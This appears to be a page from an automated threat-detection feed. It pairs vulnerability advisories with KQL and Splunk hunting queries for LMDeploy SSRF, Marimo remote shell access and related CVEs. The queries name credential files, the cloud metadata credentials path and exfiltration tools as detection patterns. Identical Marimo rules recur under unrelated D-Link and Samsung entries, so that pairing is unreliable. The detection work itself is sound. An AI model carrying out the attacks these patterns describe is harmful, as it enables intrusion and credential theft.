| where RemoteIP in ("103.116.72.119") or RemoteUrl has_any ("requestrepo.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("103.116.72.119")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("requestrepo.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("requestrepo.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
[LLM] LMDeploy CVE-2026-33626 SSRF: image_url pointing to cloud metadata or RFC1918ExploitationHigh
Hunts inbound POSTs to LMDeploy's OpenAI-compatible /v1/chat/completions endpoint where the JSON image_url references the AWS IMDS (169.254.169.254), loopback, or other internal addresses — the exact SSRF primitive Sysdig observed being abused 12h31m after disclosure.
Rationale: Combines two article-specific high-fidelity strings: the LMDeploy OpenAI-style endpoint /v1/chat/completions and the SSRF target IPs/paths Sysdig captured (169.254.169.254 IMDS, requestrepo.com OAST). Legitimate vision prompts almost never reference 169.254.169.254 — practically zero FP.
Cross-checked against:
• https://webflow.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
• https://www.sentinelone.com/vulnerability-database/cve-2026-33626/
• https://www.scworld.com/brief/lmdeploy-vulnerability-exploited-in-real-time-highlighting-ai-infrastructure-risks
ATT&CKT1190T1552.005
Data sourcesWeb
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("python.exe","python","python3","lmdeploy","uvicorn")
or InitiatingProcessCommandLine has_any ("lmdeploy","api_server","turbomind","internlm-xcomposer2","InternVL2-8B")
| where RemoteIP == "169.254.169.254"
or RemoteUrl has_any ("latest/meta-data/iam/security-credentials","requestrepo.com")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl, ActionType
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.src) as src values(Web.http_user_agent) as ua values(Web.http_method) as method from datamodel=Web where Web.url="*/v1/chat/completions*" Web.http_method=POST (Web.http_content="*169.254.169.254*" OR Web.http_content="*127.0.0.1*" OR Web.http_content="*localhost*" OR Web.http_content="*image_url*latest/meta-data*" OR Web.http_content="*image_url*://10.*" OR Web.http_content="*image_url*://192.168.*" OR Web.http_content="*image_url*requestrepo.com*") by Web.dest Web.url Web.src Web.http_content | `drop_dm_object_name(Web)` | where match(http_content,"(?i)image_url")
[LLM] LMDeploy server process egressing to AWS IMDS or scanning loopback portsActions on ObjectivesHigh
Detects the LMDeploy/Python inference process initiating outbound traffic to the AWS Instance Metadata Service or sweeping loopback ports 6379/3306/8080 — the post-SSRF behaviour Sysdig observed during the 8-minute exploitation session.
Rationale: GPU inference servers have no legitimate reason to request IMDS or sweep Redis/MySQL on localhost. The article names exactly these ports (6379, 3306, 8080) and the IMDS IP — pinning detection to the LMDeploy process via cmdline tokens (turbomind, api_server, internlm-xcomposer2) keeps FP near zero.
Cross-checked against:
• https://webflow.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
• https://vulert.com/blog/lmdeploy-cve-2026-33626-ssrf/
ATT&CKT1552.005T1046
Data sourcesNetwork_Traffic.All_Traffic
let lmdeployHosts = DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("lmdeploy","turbomind","api_server","internlm-xcomposer2","InternVL2-8B")
| distinct DeviceId;
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where DeviceId in (lmdeployHosts)
| where RemoteIP == "169.254.169.254"
or (RemoteIP in ("127.0.0.1","::1") and RemotePort in (6379,3306,8080,80))
| summarize ports=make_set(RemotePort), targets=make_set(RemoteIP), hits=count(), firstSeen=min(Timestamp), lastSeen=max(Timestamp) by DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where targets has "169.254.169.254" or array_length(ports) >= 2
| tstats summariesonly=true count values(All_Traffic.dest_port) as ports values(All_Traffic.dest_ip) as dests min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where (All_Traffic.app="python*" OR All_Traffic.process_name IN ("python","python3","python.exe","lmdeploy","uvicorn")) (All_Traffic.dest_ip="169.254.169.254" OR (All_Traffic.dest_ip IN ("127.0.0.1","::1") AND All_Traffic.dest_port IN (6379,3306,8080,80))) by All_Traffic.src host All_Traffic.process_name span=10m | `drop_dm_object_name(All_Traffic)` | where (mvfind(dests,"169.254.169.254")>=0) OR mvcount(ports)>=2
Hunts external requests probing LMDeploy's schema endpoint and the distserve P2P teardown route — a fingerprint of the same actor performing reconnaissance against LMDeploy API servers prior to / alongside SSRF abuse.
Rationale: The Sysdig writeup specifically names /openapi.json (schema enumeration) and /distserve/p2p_drop_connect (ZMQ teardown) as recon paths the attacker probed, plus the source IP 103.116.72.119. Pairing the two endpoints in a single source IP within 15 minutes is a tight, article-specific signature.
Cross-checked against:
• https://webflow.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
ATT&CKT1595.002T1190
Data sourcesWeb
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has_any ("/openapi.json","/distserve/p2p_drop_connect","/v1/chat/completions")
or RemoteIP == "103.116.72.119"
| summarize urls=make_set(RemoteUrl), hits=count(), firstSeen=min(Timestamp), lastSeen=max(Timestamp) by DeviceId, DeviceName, RemoteIP, InitiatingProcessFileName
| where array_length(urls) >= 2 or RemoteIP == "103.116.72.119"
| tstats summariesonly=true count values(Web.url) as urls values(Web.http_method) as methods min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.url="*/openapi.json*" OR Web.url="*/distserve/p2p_drop_connect*" OR Web.url="*/v1/chat/completions*") by Web.src Web.dest span=15m | `drop_dm_object_name(Web)` | where mvcount(urls)>=2 AND (match(mvjoin(urls,","),"openapi.json") AND match(mvjoin(urls,","),"(distserve|chat/completions)")) | eval known_attacker_ip=if(src="103.116.72.119","yes","no")
2026-04-245 use cases1 technique4 kill-chain phases detected
SimpleHelp contains a path traversal vulnerability that allows admin users to upload arbitrary files anywhere on the file system by uploading a crafted zip file (i.e. zip slip). This can be exploited to execute arbitrary code on the host in the context of the SimpleHelp server user. Vendor: SimpleHelp , Product: SimpleHelp. Federal patch due: 2026-05-08.
CVEsCVE-2024-1708CVE-2024-57728
ATT&CKT1219
Click any ATT&CK pill below to open it on the Matrix
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → [LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpoint · [LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell child
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → [LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shell
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-1708", "CVE-2024-57728")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-1708", "CVE-2024-57728")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-244 use cases0 techniques3 kill-chain phases detected
D-Link DIR-823X contains a command injection vulnerability that allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the corresponding function. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. Vendor: D-Link, Product: DIR-823X. Federal patch due: 2026-05-08.
CVEsCVE-2025-29635
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-29635")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-29635")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-244 use cases0 techniques3 kill-chain phases detected
Samsung MagicINFO 9 Server contains a path traversal vulnerability that could allow an attacker to write arbitrary files as system authority. Vendor: Samsung, Product: MagicINFO 9 Server. Federal patch due: 2026-05-08.
CVEsCVE-2024-7399
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-7399")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-7399")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
